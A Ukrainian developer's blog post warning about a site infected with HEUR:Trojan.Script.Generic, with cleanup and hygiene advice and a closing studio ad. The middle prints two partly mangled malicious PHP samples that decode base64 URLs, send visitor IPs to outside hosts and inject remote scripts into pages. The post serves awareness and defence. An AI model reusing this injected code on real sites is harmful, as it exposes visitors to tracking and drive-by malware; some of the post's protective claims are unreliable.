Сів попити чаю, між танцями з бубном над версткою сторінки під ІЕ7, ох ці ж буржуї.... юзають вони там за бугром ІЕ6 та ІЕ7 переважно, на відмінно від нас :)
Так от сижу пю чайок, шось треба почитати натикаюсь в ленті новин на статтю "Їжа за комп’ютером загрожує здоров’ю". Перехожу по лінку.. І тут на тобі крик, гам, екран червоний.... Антивірь кричить вали нафіг з цього сайту. Так, як я людина цікава :) люблю цікавитись, порився трохи, що ж за звіра воно там найшло. І дійсно в логах знаходжу 8 спроб підгрузити 4 файли з трояном HEUR:Trojan.Script.Generic.
І так, будьте обережні з сайтом http://charivne.info/ на даний момент взагалі рекомендую не заходити, доки не почистять ресурс.
Детальніше про HEUR:Trojan.Script.Generic. В основному ставиться з локального вже зараженого ПК при роботі над сайтами розробником, або ж після прямого злому веб-сайту через одну з дірок. Сам вірус буде зашифрований base64
кодуванням. Вірус може заражати не лише js файли, як на цьому ресурсі, але й php файли. Не заражає він файли котрі були під зендом чи аолом зашифровані, це єдиний метод захисту сайту, при прямому зломі хоста через одну із дірок на сайті. Шкідливий код дописується до кінця файлів. Даний вірус не можна знайти, онлайн ресурсами з перевірки сайтів на шкідливий код. Лише писати в сапорт др.Веб, або Кашперского і вони дадуть звіт про заражені сторінки вашого ресурсу.
Чим загрожує цей вірус відвідувачу сайту? HEUR:Trojan.Script.Generic використовують, для нарощування посилальної маси на інші ресурси. Також цей вірус надасть повний доступ для наступних дій з вашим ПК зловмиснику, чи то кража ваших данних, чи жарт, чи підставляння інших вебресурсів для вашого перегляду.
Приклад 1
<code>function sql2_safe($in) { $rtn = base64_decode($in); return $rtn; } function collectnewss() {</code> if (!isset($_COOKIE["iJijkdaMnerys"])) { $value = 'yadeor'; $ip = $_SERVER['REMOTE_ADDR']; $get = sql2_safe("aHR0cDovL3h4eHBvcm5vLnh4dXouY29tOjg4OC9tb3ZlLnBocD9pcD0=").$ip; $file = @fopen ($get, "r"); $content = @fread($file, 1000); @setcookie("iJijkdaMnerys", $value, time()+3600*24); if (!$content) echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9wYWtlc3JyeS5pbmZvL3JzaXplLmpzIj48L3NjcmlwdD4="); else echo $content; <code> } } collectnewss (); </code>
Приклад 2.
<code>function czun_ecn($hag){return preg_replace</code> <code>("#(</table>.*<td>|</table>|</div>[^<>]*<div</code> <code>[^<> ]*>|</body>)#is", "$1" . fcf_jie, pgsx_blzu($hag)</code> <code>, 1);} $fcf_jie=fdmv_eonpn(base64_decode</code> <code>("a HR0cDovL2djb3VudGVyLmNuL2luZm8ucGhw") </code> <code>. "?i=" . $_SERVER["REMOTE_ADDR"] . "&s=" .</code> <code> $_SERVER[ "HTTP_HOST"]);@preg_match("#<open>(.*)</close>#",</code> <code> $fcf_jie, $matches);$fcf_jie= isset($matc hes[1]) ? $matches[1] :</code> <code> "";if ($fcf_jie) {define("fcf_jie",$fcf_jie); ob_start("czun_ecn");</code> <code> if(function_exists("ob_start") && !function_exists("czun_ecn") && </code> <code>!function_exists("pgsx_bl { $x = @ord</code> <code>(@substr($gzencode_arg, 3, 1)); $shift = 10; </code> <code> $shift2 = 0; if( $x&4 ) { </code> <code> <a href="mailto:[email protected]">[email protected]</a>("v", substr($gzencode_arg, 10, 2)); </code> <code> $unpack=$unpack[1]; $shift+= 2 + $unpack; </code> <code> } if( $x&8 ) { </code> <code> $shift = @strpos($gzencode_arg, chr(0), $shift) + 1; </code> <code> } if( $x&16 ) { </code> <code> $shift = @strpos($gzencode_arg, chr(0), $shift) + 1; </code> <code> } if( $x&2 ) { </code> <code> $shift += 2; } </code> <code>$gzip = @gzinflate(@substr($gzencode_arg, $shift)); </code> <code> if($gzip === FALSE) { </code> <code> $gzip = $gzencode_arg; } return </code> <code>$gzip; } ### function fdmv_eonpn( $url ) { /* if </code> <code>(function_exists("curl_init")) { $ch = curl_init($url); </code> <code> curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); </code> <code> curl_setopt($ch, CURLOPT_TIMEOUT, 5); $curl_result = curl_exec</code> <code> ($ch); curl_close($ch); if ($curl_result) return $curl</code> <code>_result; } if (@ini_get("allow_url_fopen")) { $file</code> <code>_result = @file_get_contents($url); if ($file_result) return </code> <code>$file_result; } */ $url_info = parse_url($url); $query </code> <code> = "GET $url HTTP/1.0\r\n"; $query .= "Host: " . $url_info["host"]</code> <code> . "\r\n"; $query .= "Connection: Close\r\n\r\n"; </code> <code>$fp = @fsockopen($url_info["host"], 80, $errno, $errstr, 5); </code> <code> if (!$fp) return false; @fputs($fp, $query); </code> <code> @socket_set_timeout ($fp, 5, 0); </code> <code>$s_retcode = @substr (@fgets ($fp, 4096), 9, 3); if ($s_retcode{0} <> "2") {return FALSE;} </code> <code> while (! @feof ($fp)){}</code>
Полічити ж сайт від нього можна лише одним дієвим способом - піднімати з бекапа. Навіть якщо відгрепати всі файли з base64
декодером, не факт, що все вичиститься, а якщо греп з декодером буде налаштований не вірно, так і взагалі нічого на ресурсі незнайде :) А прогер скаже щось в стилі, мій Нод ніякого вірусу не бачить, тому його там немає.
Щоб не мати проблем з ним, потрібно:
1. Хороший антивірь з фаєрволом, котрий не пустить шкідника на ПК розробника, для подальшого зараження - власна гігієна перш за все.
2. Юзати актуальні скрипти на сайтах, без явних дир, щоб не було зараження напряму на хості.
3. Вміло використовувати технології розробки, якщо вона робиться не на базі CMS, щоб не наплодити дірок для хаку.
п.с. Будьте уважні зі своєю безпекою, якщо це був не прямий злом хоста, через дірку в сайті чи хостингу, а з зараженої машини, тоді і інші сайти до яких є доступ лог+пас в фарменеджері, чи файлзіллі, чи тоталі, браузері. Всі вони під загрозою зараження, а можливо вже заражені. Вірус потрібно не лише на зараженому ресурсі прибрати, але й перевірити локальну машину, змінити всі лог+пас до всіх ресурсів, і прогрепати інші свої ресурси.
Тримайте в чистоті свої ПК і в секреті паролі - буде вам щастя!
Розробка сайту, підтримка та хостинг. Студія дизайну HDesign.rv.ua